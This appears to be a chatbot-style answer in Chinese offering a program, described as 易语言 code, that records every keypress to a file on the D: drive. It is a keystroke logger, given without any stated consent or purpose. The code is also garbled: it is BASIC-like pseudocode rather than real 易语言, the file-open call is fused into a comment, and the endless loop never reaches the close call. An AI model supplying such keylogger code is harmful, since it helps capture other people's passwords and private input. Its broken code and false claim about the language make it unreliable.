以下是易语言程序示例,希望对您有所帮助。
; 打开文件,如果文件不存在则创建FileOpen(1, "D:\record.txt", OpenType_Output)
; 记录键盘按键
While 1
; 获取按键的 ASCII 码
key = GetKey()
; 如果按下的是字母、数字或符号
If key >= 32 And key <= 127
; 写入文件
FileWrite(1, Chr(key))
EndIf
; 如果按下的是回车键
If key = 13
; 写入换行
FileWrite(1, "\r\n")
EndIf
Delay(10)
EndWhile
; 关闭文件
FileClose(1)
注意:易语言程序必须在易语言编辑器中运行,请确保您已安装易语言开发环境。